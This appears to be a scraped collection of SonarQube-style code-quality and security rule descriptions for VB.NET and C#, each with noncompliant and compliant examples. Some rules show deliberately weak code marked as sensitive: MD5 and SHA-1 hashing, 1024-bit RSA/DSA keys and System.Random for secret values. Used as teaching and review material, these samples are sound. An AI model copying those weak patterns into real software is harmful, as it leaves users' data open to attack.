If a boolean expression doesn't change the evaluation of the condition, then it is entirely unnecessary, and can be removed. If it is gratuitous because it does not match the programmer's intent, then it's a bug and the expression should be fixed.

Noncompliant Code Example

if (a) {
  if (a) { // Noncompliant
    doSomething();
  }
}

Compliant Solution

if (a) {
  if (b) {
    doSomething();
  }
}

// or
if (a) {
  doSomething();
}

See

vbnet:S139

This rule verifies that single-line comments are not located at the ends of lines of code. The main idea behind this rule is that in order to be really readable, trailing comments would have to be properly written and formatted (correct alignment, no interference with the visual structure of the code, not too long to be visible) but most often, automatic code formatters would not handle this correctly: the code would end up less readable. Comments are far better placed on the previous empty line of code, where they will always be visible and properly formatted.

Noncompliant Code Example

With the default comment pattern ^'\s*\S+\s*$, which ignores single word comments:

Module Module1
  Sub Main()
    Console.WriteLine("Hello, world!") ' Noncompliant - My first program!
    Console.WriteLine("Hello, world!") ' CompliantOneWord
  End Sub
End Module

Compliant Solution

Module Module1
  Sub Main()
    ' Compliant - My first program!
    Console.WriteLine("Hello, world!")
    Console.WriteLine("Hello, world!") ' CompliantOneWord
  End Sub
End Module
vbnet:S2370

Shared naming conventions allow teams to collaborate efficiently. This rule checks that all non-private Shared ReadOnly fields names match a provided regular expression.

The default configuration is:

  • Pascal casing, starting with an upper case character, e.g. BackColor
  • Short abbreviations of 2 letters can be capitalized, e.g. GetID
  • Longer abbreviations need to be lower cased, e.g. GetHtml

Noncompliant Code Example

With the default regular expression ^([A-Z]{1,3}[a-z0-9]+)*([A-Z]{2})?$:

Class Foo
    Public Shared ReadOnly foo As Integer  ' Noncompliant
End Class

Compliant Solution

Class Foo
    Public Shared ReadOnly Foo As Integer  ' Compliant
End Class
vbnet:S4792

Configuring loggers is security-sensitive. It has led in the past to the following vulnerabilities:

Logs are useful before, during and after a security incident.

  • Attackers will most of the time start their nefarious work by probing the system for vulnerabilities. Monitoring this activity and stopping it is the first step to prevent an attack from ever happening.
  • In case of a successful attack, logs should contain enough information to understand what damage an attacker may have inflicted.

Logs are also a target for attackers because they might contain sensitive information. Configuring loggers has an impact on the type of information logged and how they are logged.

This rule flags for review code that initiates loggers configuration. The goal is to guide security code reviews.

Ask Yourself Whether

  • unauthorized users might have access to the logs, either because they are stored in an insecure location or because the application gives access to them.
  • the logs contain sensitive information on a production server. This can happen when the logger is in debug mode.
  • the log can grow without limit. This can happen when additional information is written into logs every time a user performs an action and the user can perform the action as many times as he/she wants.
  • the logs do not contain enough information to understand the damage an attacker might have inflicted. The loggers mode (info, warn, error) might filter out important information. They might not print contextual information like the precise time of events or the server hostname.
  • the logs are only stored locally instead of being backuped or replicated.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Check that your production deployment doesn't have its loggers in "debug" mode as it might write sensitive information in logs.
  • Production logs should be stored in a secure location which is only accessible to system administrators.
  • Configure the loggers to display all warnings, info and error messages. Write relevant information such as the precise time of events and the hostname.
  • Choose log format which is easy to parse and process automatically. It is important to process logs rapidly in case of an attack so that the impact is known and limited.
  • Check that the permissions of the log files are correct. If you index the logs in some other service, make sure that the transfer and the service are secure too.
  • Add limits to the size of the logs and make sure that no user can fill the disk with logs. This can happen even when the user does not control the logged information. An attacker could just repeat a logged action many times.

Remember that configuring loggers properly doesn't make them bullet-proof. Here is a list of recommendations explaining on how to use your logs:

  • Don't log any sensitive information. This obviously includes passwords and credit card numbers but also any personal information such as user names, locations, etc... Usually any information which is protected by law is good candidate for removal.
  • Sanitize all user inputs before writing them in the logs. This includes checking its size, content, encoding, syntax, etc... As for any user input, validate using whitelists whenever possible. Enabling users to write what they want in your logs can have many impacts. It could for example use all your storage space or compromise your log indexing service.
  • Log enough information to monitor suspicious activities and evaluate the impact an attacker might have on your systems. Register events such as failed logins, successful logins, server side input validation failures, access denials and any important transaction.
  • Monitor the logs for any suspicious activity.

Sensitive Code Example

.Net Core: configure programmatically

Imports System
Imports System.Collections
Imports System.Collections.Generic
Imports Microsoft.AspNetCore
Imports Microsoft.AspNetCore.Builder
Imports Microsoft.AspNetCore.Hosting
Imports Microsoft.Extensions.Configuration
Imports Microsoft.Extensions.DependencyInjection
Imports Microsoft.Extensions.Logging
Imports Microsoft.Extensions.Options

Namespace MvcApp

    Public Class ProgramLogging

        Public Shared Function CreateWebHostBuilder(args As String()) As IWebHostBuilder

            WebHost.CreateDefaultBuilder(args) _
                .ConfigureLogging(Function(hostingContext, Logging) ' Sensitive
                                      ' ...
                                  End Function) _
            .UseStartup(Of StartupLogging)()

            '...
        End Function
    End Class


    Public Class StartupLogging

        Public Sub ConfigureServices(services As IServiceCollection)

            services.AddLogging(Function(logging) ' Sensitive
                                    '...
                                End Function)
        End Sub

        Public Sub Configure(app As IApplicationBuilder, env As IHostingEnvironment, loggerFactory As ILoggerFactory)

            Dim config As IConfiguration = Nothing
            Dim level As LogLevel = LogLevel.Critical
            Dim includeScopes As Boolean = False
            Dim filter As Func(Of String, Microsoft.Extensions.Logging.LogLevel, Boolean) = Nothing
            Dim consoleSettings As Microsoft.Extensions.Logging.Console.IConsoleLoggerSettings = Nothing
            Dim azureSettings As Microsoft.Extensions.Logging.AzureAppServices.AzureAppServicesDiagnosticsSettings = Nothing
            Dim eventLogSettings As Microsoft.Extensions.Logging.EventLog.EventLogSettings = Nothing

            ' An issue will be raised for each call to an ILoggerFactory extension methods adding loggers.
            loggerFactory.AddAzureWebAppDiagnostics() ' Sensitive
            loggerFactory.AddAzureWebAppDiagnostics(azureSettings) ' Sensitive
            loggerFactory.AddConsole() ' Sensitive
            loggerFactory.AddConsole(level) ' Sensitive
            loggerFactory.AddConsole(level, includeScopes) ' Sensitive
            loggerFactory.AddConsole(filter) ' Sensitive
            loggerFactory.AddConsole(filter, includeScopes) ' Sensitive
            loggerFactory.AddConsole(config) ' Sensitive
            loggerFactory.AddConsole(consoleSettings) ' Sensitive
            loggerFactory.AddDebug() ' Sensitive
            loggerFactory.AddDebug(level) ' Sensitive
            loggerFactory.AddDebug(filter) ' Sensitive
            loggerFactory.AddEventLog() ' Sensitive
            loggerFactory.AddEventLog(eventLogSettings) ' Sensitive
            loggerFactory.AddEventLog(level) ' Sensitive
            ' Only available for NET Standard 2.0 and above
            'loggerFactory.AddEventSourceLogger() ' Sensitive

            Dim providers As IEnumerable(Of ILoggerProvider) = Nothing
            Dim filterOptions1 As LoggerFilterOptions = Nothing
            Dim filterOptions2 As IOptionsMonitor(Of LoggerFilterOptions) = Nothing

            Dim factory As LoggerFactory = New LoggerFactory() ' Sensitive
            factory = New LoggerFactory(providers) ' Sensitive
            factory = New LoggerFactory(providers, filterOptions1) ' Sensitive
            factory = New LoggerFactory(providers, filterOptions2) ' Sensitive
        End Sub
    End Class
End Namespace

Log4Net

Imports System
Imports System.IO
Imports System.Xml
Imports log4net.Appender
Imports log4net.Config
Imports log4net.Repository

Namespace Logging
    Class Log4netLogging
        Private Sub Foo(ByVal repository As ILoggerRepository, ByVal element As XmlElement, ByVal configFile As FileInfo, ByVal configUri As Uri, ByVal configStream As Stream, ByVal appender As IAppender, ParamArray appenders As IAppender())
            log4net.Config.XmlConfigurator.Configure(repository) ' Sensitive
            log4net.Config.XmlConfigurator.Configure(repository, element) ' Sensitive
            log4net.Config.XmlConfigurator.Configure(repository, configFile) ' Sensitive
            log4net.Config.XmlConfigurator.Configure(repository, configUri) ' Sensitive
            log4net.Config.XmlConfigurator.Configure(repository, configStream) ' Sensitive
            log4net.Config.XmlConfigurator.ConfigureAndWatch(repository, configFile) ' Sensitive

            log4net.Config.DOMConfigurator.Configure() ' Sensitive
            log4net.Config.DOMConfigurator.Configure(repository) ' Sensitive
            log4net.Config.DOMConfigurator.Configure(element) ' Sensitive
            log4net.Config.DOMConfigurator.Configure(repository, element) ' Sensitive
            log4net.Config.DOMConfigurator.Configure(configFile) ' Sensitive
            log4net.Config.DOMConfigurator.Configure(repository, configFile) ' Sensitive
            log4net.Config.DOMConfigurator.Configure(configStream) ' Sensitive
            log4net.Config.DOMConfigurator.Configure(repository, configStream) ' Sensitive
            log4net.Config.DOMConfigurator.ConfigureAndWatch(configFile) ' Sensitive
            log4net.Config.DOMConfigurator.ConfigureAndWatch(repository, configFile) ' Sensitive

            log4net.Config.BasicConfigurator.Configure() ' Sensitive
            log4net.Config.BasicConfigurator.Configure(appender) ' Sensitive
            log4net.Config.BasicConfigurator.Configure(appenders) ' Sensitive
            log4net.Config.BasicConfigurator.Configure(repository) ' Sensitive
            log4net.Config.BasicConfigurator.Configure(repository, appender) ' Sensitive
            log4net.Config.BasicConfigurator.Configure(repository, appenders) ' Sensitive
        End Sub
    End Class
End Namespace

NLog: configure programmatically

Namespace Logging
    Class NLogLogging
        Private Sub Foo(ByVal config As NLog.Config.LoggingConfiguration)
            NLog.LogManager.Configuration = config ' Sensitive
        End Sub
    End Class
End Namespace

Serilog

Namespace Logging
    Class SerilogLogging
        Private Sub Foo()
            Dim config As Serilog.LoggerConfiguration = New Serilog.LoggerConfiguration() ' Sensitive
        End Sub
    End Class
End Namespace

See

vbnet:S138

A procedure that grows too large tends to aggregate too many responsibilities.

Such procedures inevitably become harder to understand and therefore harder to maintain.

Above a specific threshold, it is strongly advised to refactor into smaller procedures which focus on well-defined tasks.

Those smaller procedures will not only be easier to understand but also probably easier to test.

vbnet:S4275

Properties provide a way to enforce encapsulation by providing public, protected or internal methods that give controlled access to private fields. However in classes with multiple fields it is not unusual that cut and paste is used to quickly create the needed properties, which can result in the wrong field being accessed by a getter or setter.

This rule raises an issue in any of these cases:

  • A setter does not update the field with the corresponding name.
  • A getter does not access the field with the corresponding name.

For simple properties it is better to use auto-implemented properties (VB.NET 10.0 or later).

Field and property names are compared as case-insensitive. All underscore characters are ignored.

Noncompliant Code Example

Class A
    Private x As Integer
    Private y As Integer

    Public Property X As Integer
        Get
            Return x
        End Get
        Set(ByVal value As Integer)
            x = value
        End Set
    End Property

    Public Property Y As Integer
        Get  ' Noncompliant: field 'y' is not used in the return value
            Return x
        End Get
        Set(ByVal value As Integer) ' Noncompliant: field 'y' is not updated
            x = value
        End Set
    End Property
End Class

Compliant Solution

Class A
    Private x As Integer
    Private y As Integer

    Public Property X As Integer
        Get
            Return x
        End Get
        Set(ByVal value As Integer)
            x = value
        End Set
    End Property

    Public Property Y As Integer
        Get
            Return y
        End Get
        Set(ByVal value As Integer)
            y = value
        End Set
    End Property
End Class
vbnet:S4790

Cryptographic hash algorithms such as MD2, MD4, MD5, MD6, HAVAL-128, HMAC-MD5, DSA (which uses SHA-1), RIPEMD, RIPEMD-128, RIPEMD-160, HMACRIPEMD160 and SHA-1 are no longer considered secure, because it is too easy to create hash collisions with them (little computational effort is enough to find two or more different inputs that produces the same hash).

Ask Yourself Whether

The hashed value is used in a security context like:

  • User-password storage.
  • Security token generation (used to confirm e-mail when registering on a website, reset password, etc ...).
  • To compute some message integrity.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Safer alternatives, such as SHA-256, SHA-512, SHA-3 or bcrypt are recommended, and for password hashing, it's even better to use algorithms that not compute too "quickly", like bcrypt instead of SHA-256, because it slows brute force and dictionary based attacks.

Sensitive Code Example

Imports System.Security.Cryptography

Sub ComputeHash()

    ' Review all instantiations of classes that inherit from HashAlgorithm, for example:
    Dim hashAlgo As HashAlgorithm = HashAlgorithm.Create() ' Sensitive
    Dim hashAlgo2 As HashAlgorithm = HashAlgorithm.Create("SHA1") ' Sensitive
    Dim sha As SHA1 = New SHA1CryptoServiceProvider() ' Sensitive
    Dim md5 As MD5 = New MD5CryptoServiceProvider() ' Sensitive

    ' ...
End Sub

Class MyHashAlgorithm
    Inherits HashAlgorithm ' Sensitive

    ' ...
End Class

Compliant Solution

Imports System.Security.Cryptography

Sub ComputeHash()
    Dim sha256 = New SHA256CryptoServiceProvider() ' Compliant
    Dim sha384 = New SHA384CryptoServiceProvider() ' Compliant
    Dim sha512 = New SHA512CryptoServiceProvider() ' Compliant

    ' ...
End Sub

See

csharpsquid:S3456

ToCharArray can be omitted when the operation on the array could have been done directly on the string, such as when iterating over the characters in a string, and when accessing a character in a string via an array index. In those cases, explicit ToCharArray calls should be omitted.

Noncompliant Code Example

string str = "some string";
foreach (var c in str.ToCharArray()) // Noncompliant
{
  // ...
}

Compliant Solution

string str = "some string";
foreach (var c in str)
{
  // ...
}
csharpsquid:S4426

Most of cryptographic systems require a sufficient key size to be robust against brute-force attacks.

NIST recommendations will be checked for these use-cases:

Digital Signature Generation and Verification:

  • p ≥ 2048 AND q ≥ 224 for DSA (p is key length and q the modulus length)
  • n ≥ 2048 for RSA (n is the key length)

Key Agreement:

  • p ≥ 2048 AND q ≥ 224 for DH and MQV
  • n ≥ 224 for ECDH and ECMQV (Examples: secp192r1 is a non-compliant curve (n < 224) but secp224k1 is compliant (n >= 224))

Symmetric keys:

  • key length ≥ 128 bits

This rule will not raise issues for ciphers that are considered weak (no matter the key size) like DES, Blowfish.

Noncompliant Code Example

using System;
using System.Security.Cryptography;

namespace MyLibrary
{
    public class MyCryptoClass
    {
        static void Main()
        {
            var dsa1 = new DSACryptoServiceProvider(); // Noncompliant - default key size is 1024
            dsa1.KeySize = 2048; // Noncompliant - the setter does not update the underlying key size for the DSACryptoServiceProvider class

            var dsa2 = new DSACryptoServiceProvider(2048); // Noncompliant - cannot create DSACryptoServiceProvider with a key size bigger than 1024

            var rsa1 = new RSACryptoServiceProvider(); // Noncompliant - default key size is 1024
            rsa1.KeySize = 2048; // Noncompliant - the setter does not update the underlying key size for the RSACryptoServiceProvider class

            var rsa2 = new RSACng(1024); // Noncompliant

            // ...
        }
    }
}

KeySize property of DSACryptoServiceProvider and RSACryptoServiceProvider does not change the value of underlying KeySize for the algorithm. Property setter is ignored without error and KeySize can be changed only by using constructor overload. See:

Compliant Solution

using System;
using System.Security.Cryptography;

namespace MyLibrary
{
    public class MyCryptoClass
    {
        static void Main()
        {
            var dsa1 = new DSACng(); // Compliant - default key size is 2048
            var dsa2 = new DSACng(2048); // Compliant
            var rsa1 = new RSACryptoServiceProvider(2048); // Compliant
            var rsa2 = new RSACng(); // Compliant - default key size is 2048

            // ...
        }
    }
}

See

csharpsquid:S2245

Using pseudorandom number generators (PRNGs) is security-sensitive. For example, it has led in the past to the following vulnerabilities:

When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.

As the System.Random class relies on a pseudorandom number generator, it should not be used for security-critical applications or for protecting sensitive data. In such context, the System.Cryptography.RandomNumberGenerator class which relies on a cryptographically strong random number generator (RNG) should be used in place.

Ask Yourself Whether

  • the code using the generated value requires it to be unpredictable. It is the case for all encryption mechanisms or when a secret value, such as a password, is hashed.
  • the function you use generates a value which can be predicted (pseudo-random).
  • the generated value is used multiple times.
  • an attacker can access the generated value.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Only use random number generators which are recommended by OWASP or any other trusted organization.
  • Use the generated random values only once.
  • You should not expose the generated random value. If you have to store it, make sure that the database or file is secure.

Sensitive Code Example

var random = new Random(); // Sensitive use of Random
byte[] data = new byte[16];
random.NextBytes(data);
return BitConverter.ToString(data); // Check if this value is used for hashing or encryption

Compliant Solution

using System.Security.Cryptography;
...
var randomGenerator = RandomNumberGenerator.Create(); // Compliant for security-sensitive use cases
byte[] data = new byte[16];
randomGenerator.GetBytes(data);
return BitConverter.ToString(data);

See

csharpsquid:S3458

Empty case clauses that fall through to the default are useless. Whether or not such a case is present, the default clause will be invoked. Such cases simply clutter the code, and should be removed.

Noncompliant Code Example

switch(ch)
{
  case 'a' :
    HandleA();
    break;
  case 'b' :
    HandleB();
    break;
  case 'c' :  // Noncompliant
  default:
    HandleTheRest();
    break;
}

Compliant Solution

switch(ch)
{
  case 'a' :
    HandleA();
    break;
  case 'b' :
    HandleB();
    break;
  default:
    HandleTheRest();
    break;
}
csharpsquid:S3216

After an awaited Task has executed, you can continue execution in the original, calling thread or any arbitrary thread. Unless the rest of the code needs the context from which the Task was spawned, Task.ConfigureAwait(false) should be used to keep execution in the Task thread to avoid the need for context switching and the possibility of deadlocks.

This rule raises an issue when code in a class library awaits a Task and continues execution in the original calling thread.

Noncompliant Code Example

var response = await httpClient.GetAsync(url);  // Noncompliant

Compliant Solution

var response = await httpClient.GetAsync(url).ConfigureAwait(false);
csharpsquid:S3215

Needing to cast from an interface to a concrete type indicates that something is wrong with the abstractions in use, likely that something is missing from the interface. Instead of casting to a discrete type, the missing functionality should be added to the interface. Otherwise there is a risk of runtime exceptions.

Noncompliant Code Example

public interface IMyInterface
{
  void DoStuff();
}

public class MyClass1 : IMyInterface
{
  public int Data { get { return new Random().Next(); } }

  public void DoStuff()
  {
    // TODO...
  }
}

public static class DowncastExampleProgram
{
  static void EntryPoint(IMyInterface interfaceRef)
  {
    MyClass1 class1 = (MyClass1)interfaceRef;  // Noncompliant
    int privateData = class1.Data;

    class1 = interfaceRef as MyClass1;  // Noncompliant
    if (class1 != null)
    {
      // ...
    }
  }
}

Exceptions

Casting to object doesn't raise an issue, because it can never fail.

static void EntryPoint(IMyInterface interfaceRef)
{
  var o = (object)interfaceRef;
  ...
}
csharpsquid:S4787

Encrypting data is security-sensitive. It has led in the past to the following vulnerabilities:

Proper encryption requires both the encryption algorithm and the key to be strong. Obviously the private key needs to remain secret and be renewed regularly. However these are not the only means to defeat or weaken an encryption.

This rule flags function calls that initiate encryption/decryption.

Ask Yourself Whether

  • the private key might not be random, strong enough or the same key is reused for a long long time.
  • the private key might be compromised. It can happen when it is stored in an unsafe place or when it was transferred in an unsafe manner.
  • the key exchange is made without properly authenticating the receiver.
  • the encryption algorithm is not strong enough for the level of protection required. Note that encryption algorithms strength decreases as time passes.
  • the chosen encryption library is deemed unsafe.
  • a nonce is used, and the same value is reused multiple times, or the nonce is not random.
  • the RSA algorithm is used, and it does not incorporate an Optimal Asymmetric Encryption Padding (OAEP), which might weaken the encryption.
  • the CBC (Cypher Block Chaining) algorithm is used for encryption, and it's IV (Initialization Vector) is not generated using a secure random algorithm, or it is reused.
  • the Advanced Encryption Standard (AES) encryption algorithm is used with an unsecure mode. See the recommended practices for more information.

You are at risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Generate encryption keys using secure random algorithms.
  • When generating cryptographic keys (or key pairs), it is important to use a key length that provides enough entropy against brute-force attacks. For the Blowfish algorithm the key should be at least 128 bits long, while for the RSA algorithm it should be at least 2048 bits long.
  • Regenerate the keys regularly.
  • Always store the keys in a safe location and transfer them only over safe channels.
  • If there is an exchange of cryptographic keys, check first the identity of the receiver.
  • Only use strong encryption algorithms. Check regularly that the algorithm is still deemed secure. It is also imperative that they are implemented correctly. Use only encryption libraries which are deemed secure. Do not define your own encryption algorithms as they will most probably have flaws.
  • When a nonce is used, generate it randomly every time.
  • When using the RSA algorithm, incorporate an Optimal Asymmetric Encryption Padding (OAEP).
  • When CBC is used for encryption, the IV must be random and unpredictable. Otherwise it exposes the encrypted value to crypto-analysis attacks like "Chosen-Plaintext Attacks". Thus a secure random algorithm should be used. An IV value should be associated to one and only one encryption cycle, because the IV's purpose is to ensure that the same plaintext encrypted twice will yield two different ciphertexts.
  • The Advanced Encryption Standard (AES) encryption algorithm can be used with various modes. Galois/Counter Mode (GCM) with no padding should be preferred to the following combinations which are not secured:
    • Electronic Codebook (ECB) mode: Under a given key, any given plaintext block always gets encrypted to the same ciphertext block. Thus, it does not hide data patterns well. In some senses, it doesn't provide serious message confidentiality, and it is not recommended for use in cryptographic protocols at all.
    • Cipher Block Chaining (CBC) with PKCS#5 padding (or PKCS#7) is susceptible to padding oracle attacks.

Sensitive Code Example

using System;
using System.Security.Cryptography;

namespace MyNamespace
{
    public class MyClass
    {
        public void Main()
        {
            Byte[] data = {1,1,1};

            RSA myRSA = RSA.Create();
            RSAEncryptionPadding padding = RSAEncryptionPadding.CreateOaep(HashAlgorithmName.SHA1);
            // Review all base RSA class' Encrypt/Decrypt calls
            myRSA.Encrypt(data, padding); // Sensitive
            myRSA.EncryptValue(data); // Sensitive
            myRSA.Decrypt(data, padding); // Sensitive
            myRSA.DecryptValue(data); // Sensitive

            RSACryptoServiceProvider myRSAC = new RSACryptoServiceProvider();
            // Review the use of any TryEncrypt/TryDecrypt and specific Encrypt/Decrypt of RSA subclasses.
            myRSAC.Encrypt(data, false); // Sensitive
            myRSAC.Decrypt(data, false); // Sensitive
            int written;
            myRSAC.TryEncrypt(data, Span<byte>.Empty, padding, out written); // Sensitive
            myRSAC.TryDecrypt(data, Span<byte>.Empty, padding, out written); // Sensitive

            byte[] rgbKey = {1,2,3};
            byte[] rgbIV = {4,5,6};
            SymmetricAlgorithm rijn = SymmetricAlgorithm.Create();
            // Review the creation of Encryptors from any SymmetricAlgorithm instance.
            rijn.CreateEncryptor(); // Sensitive
            rijn.CreateEncryptor(rgbKey, rgbIV); // Sensitive
            rijn.CreateDecryptor(); // Sensitive
            rijn.CreateDecryptor(rgbKey, rgbIV); // Sensitive
        }

        public class MyCrypto : System.Security.Cryptography.AsymmetricAlgorithm // Sensitive
        {
            // ...
        }

        public class MyCrypto2 : System.Security.Cryptography.SymmetricAlgorithm // Sensitive
        {
            // ...
        }
    }
}

See

Deprecated

This rule is deprecated; use S4426, S5542, S5547 instead.

csharpsquid:S2368

Exposing methods with multidimensional array parameters requires developers to have advanced knowledge about the language in order to be able to use them. Moreover, what exactly to pass to such parameters is not intuitive. Therefore, such methods should not be exposed, but can be used internally.

Noncompliant Code Example

public class Program
{
    public void WriteMatrix(int[][] matrix) // Non-Compliant
    {
    }
}

Compliant Solution

public class Matrix
{
    // ...
}

public class Program
{
    public void WriteMatrix(Matrix matrix) // Compliant
    {
    }
}
csharpsquid:S3457

Because composite format strings are interpreted at runtime, rather than validated by the compiler, they can contain errors that lead to unexpected behaviors or runtime errors. This rule statically validates the good behavior of composite formats when calling the methods of String.Format, StringBuilder.AppendFormat, Console.Write, Console.WriteLine, TextWriter.Write, TextWriter.WriteLine, Debug.WriteLine(String, Object[]), Trace.TraceError(String, Object[]), Trace.TraceInformation(String, Object[]), Trace.TraceWarning(String, Object[]) and TraceSource.TraceInformation(String, Object[]).

Noncompliant Code Example

s = string.Format("{0}", arg0, arg1); // Noncompliant, arg1 is declared but not used.
s = string.Format("{0} {2}", arg0, arg1, arg2); // Noncompliant, the format item with index 1 is missing so arg1 will not be used.
s = string.Format("foo"); // Noncompliant, there is no need to use string.Format here.

Compliant Solution

s = string.Format("{0}", arg0);
s = string.Format("{0} {1}", arg0, arg2);
s = "foo";

Exceptions

  • No issue is raised if the format string is not a const.
var pattern = "{0} {1} {2}";
var res = string.Format(pattern, 1, 2); // Compliant, not const string are not recognized
  • No issue is raised if the argument is not an inline creation array.
var array = new int[] {};
var res = string.Format("{0} {1}", array); // Compliant we don't know the size of the array
  • This rule doesn't check whether the format specifier (defined after the :) is actually valid.

See

csharpsquid:S3241

Private methods are clearly intended for use only within their own scope. When such methods return values that are never used by any of their callers, then clearly there is no need to actually make the return, and it should be removed in the interests of efficiency and clarity.

csharpsquid:S3240

In the interests of keeping code clean, the simplest possible conditional syntax should be used. That means

  • using the ??= operator for a self-assign-if-not-null operation,
  • using the ?? operator for an assign-if-not-null operation, and
  • using the ternary operator ?: for assignment to a single variable.

Noncompliant Code Example

object a = null, b = null, x;

if (a != null) // Noncompliant; needlessly verbose
{
  x = a;
}
else
{
  x = b;
}

x = a != null ? a : b; // Noncompliant; better but could still be simplified

x = (a == null) ? new object() : a; // Noncompliant

if (condition) // Noncompliant
{
  x = a;
}
else
{
  x = b;
}

if (a == null)  // Noncompliant
    a = new object();

var y = null ?? new object(); // Noncompliant

a = a ?? new object();  // Noncompliant for C# 8

Compliant Solution

object x;

x = a ?? b;
x = a ?? b;
x = a ?? new object();
x = condition ? a : b;
a ??= new object();
var y = new object();
a ??= new object();
csharpsquid:S2953

Dispose as a method name should be used exclusively to implement IDisposable.Dispose to prevent any confusion.

It may be tempting to create a Dispose method for other purposes, but doing so will result in confusion and likely lead to problems in production.

Noncompliant Code Example

public class GarbageDisposal
{
  private int Dispose()  // Noncompliant
  {
    // ...
  }
}

Compliant Solution

public class GarbageDisposal : IDisposable
{
  public void Dispose()
  {
    // ...
  }
}

or

public class GarbageDisposal
{
  private int Grind()
  {
    // ...
  }
}

Exceptions

Methods named Dispose and invoked from the IDisposable.Dispose implementation are not reported.

public class GarbageDisposal  :  IDisposable
{
  protected virtual void Dispose(bool disposing)
  {
    //...
  }
  public void Dispose()
  {
    Dispose(true);
    GC.SuppressFinalize(this);
  }
}
csharpsquid:S3923

Having all branches in a switch or if chain with the same implementation is an error. Either a copy-paste error was made and something different should be executed, or there shouldn't be a switch/if chain at all.

Noncompliant Code Example

if (b == 0)  // Noncompliant
{
    DoTheThing();
}
else
{
    DoTheThing();
}

int b = a > 12 ? 4 : 4;  // Noncompliant

switch (i) // Noncompliant
{
    case 1:
        DoSomething();
        break;
    case 2:
        DoSomething();
        break;
    case 3:
        DoSomething();
        break;
    default:
        DoSomething();
}

Exceptions

This rule does not apply to if chains without else-s, or to switch-es without default clauses.

if (b == 0)    //no issue, this could have been done on purpose to make the code more readable
{
    DoSomething();
}
else if (b == 1)
{
    DoSomething();
}
csharpsquid:S2955

When constraints have not been applied to restrict a generic type parameter to be a reference type, then a value type, such as a struct, could also be passed. In such cases, comparing the type parameter to null would always be false, because a struct can be empty, but never null. If a value type is truly what's expected, then the comparison should use default(). If it's not, then constraints should be added so that no value type can be passed.

Noncompliant Code Example

private bool IsDefault<T>(T value)
{
  if (value == null) // Noncompliant
  {
    // ...
  }
  // ...
}

Compliant Solution

private bool IsDefault<T>(T value)
{
  if(object.Equals(value, default(T)))
  {
    // ...
  }
  // ...
}

or

private bool IsDefault<T>(T value) where T : class
{
  if (value == null)
  {
    // ...
  }
  // ...
}
csharpsquid:S3926

Fields marked with System.Runtime.Serialization.OptionalFieldAttribute are serialized just like any other field. But such fields are ignored on deserialization, and retain the default values associated with their types. Therefore, deserialization event handlers should be declared to set such fields during the deserialization process.

This rule raises when at least one field with the System.Runtime.Serialization.OptionalFieldAttribute attribute is declared but one (or both) of the following event handlers System.Runtime.Serialization.OnDeserializingAttribute or System.Runtime.Serialization.OnDeserializedAttribute are not present.

Noncompliant Code Example

[Serializable]
public class Foo
{
    [OptionalField(VersionAdded = 2)]
    int optionalField = 5;
}

Compliant Solution

[Serializable]
public class Foo
{
    [OptionalField(VersionAdded = 2)]
    int optionalField = 5;

    [OnDeserializing]
    void OnDeserializing(StreamingContext context)
    {
	    optionalField = 5;
    }

    [OnDeserialized]
    void OnDeserialized(StreamingContext context)
    {
        // Set optionalField if dependent on other deserialized values.
    }
}
csharpsquid:S3925

The ISerializable interface is the mechanism to control the type serialization process. If not implemented correctly this could result in an invalid serialization and hard to detect bugs.

This rules raises an issue on types that implement ISerializable without following the serialization pattern recommended by Microsoft.

Specifically this rule checks for these problems:

  • The System.SerializableAttribute attribute is missing.
  • Non-serializable fields are not marked with the System.NonSerializedAttribute attribute.
  • There is no serialization constructor.
  • An unsealed type has a serialization constructor that is not protected.
  • A sealed type has a serialization constructor that is not private.
  • An unsealed type has a ISerializable.GetObjectData that is not both public and virtual.
  • A derived type has a serialization constructor that does not call the base constructor.
  • A derived type has a ISerializable.GetObjectData method that does not call the base method.
  • A derived type has serializable fields but the ISerializable.GetObjectData method is not overridden.

Classes which inherit from Exception are implementing ISerializable. Make sure [Serializable] attribute is used and that ISerializable is correctly implemented. Even it you don’t plan to explicitly serialize the object yourself, it might still require serialization, for instance when crossing the boundary of an AppDomain.

Noncompliant Code Example

public class Foo : ISerializable // Noncompliant the [Serializable] attribute is missing
{
}

or

public class Bar
{
}

[Serializable]
public class Foo : ISerializable // Noncompliant the serialization constructor is missing
{
    private readonly Bar bar; // Noncompliant the field is not marked with [NonSerialized]
}

Compliant Solution

public class Bar
{
}

[Serializable]
public class Foo : ISerializable
{
    [NonSerialized]
    private readonly Bar bar;

    public Foo()
    {
        // ...
    }

    protected Foo(SerializationInfo info, StreamingContext context)
    {
        // ...
    }

    public virtual void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        // ...
    }
}

[Serializable]
public sealed class SubFoo : Foo
{
    private int val;

    public SubFoo()
    {
        // ...
    }

    private SubFoo(SerializationInfo info, StreamingContext context)
        : base(info, context)
    {
        // ...
    }

    public override void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        base.GetObjectData(info, context);
        // ...
    }
}

Exceptions

  • Classes in test projects are not checked.
csharpsquid:S3928

Some constructors of the ArgumentException, ArgumentNullException, ArgumentOutOfRangeException and DuplicateWaitObjectException classes must be fed with a valid parameter name. This rule raises an issue in two cases:

  • When this parameter name doesn't match any existing ones.
  • When a call is made to the default (parameterless) constructor

Noncompliant Code Example

public void Foo(Bar a, int[] b)
{
  throw new ArgumentException(); // Noncompliant
  throw new ArgumentException("My error message", "c"); // Noncompliant
  throw new ArgumentException("My error message", "c", innerException); // Noncompliant
  throw new ArgumentNullException("c"); // Noncompliant
  throw new ArgumentNullException("My error message", "c"); // Noncompliant
  throw new ArgumentOutOfRangeException("c");
  throw new ArgumentOutOfRangeException("c", "My error message"); // Noncompliant
  throw new ArgumentOutOfRangeException("c", b, "My error message"); // Noncompliant
}

Compliant Solution

public void Foo(Bar a, Bar b)
{
  throw new ArgumentException("My error message", "a");
  throw new ArgumentException("My error message", "b", innerException);
  throw new ArgumentNullException("a");
  throw new ArgumentNullException(nameOf(a));
  throw new ArgumentNullException("My error message", "a");
  throw new ArgumentOutOfRangeException("b");
  throw new ArgumentOutOfRangeException("b", "My error message");
  throw new ArgumentOutOfRangeException("b", b, "My error message");
}

Exceptions

The rule won't raise an issue if the parameter name is not a constant value (inline declaration, nameof() or const variable).

csharpsquid:S3927

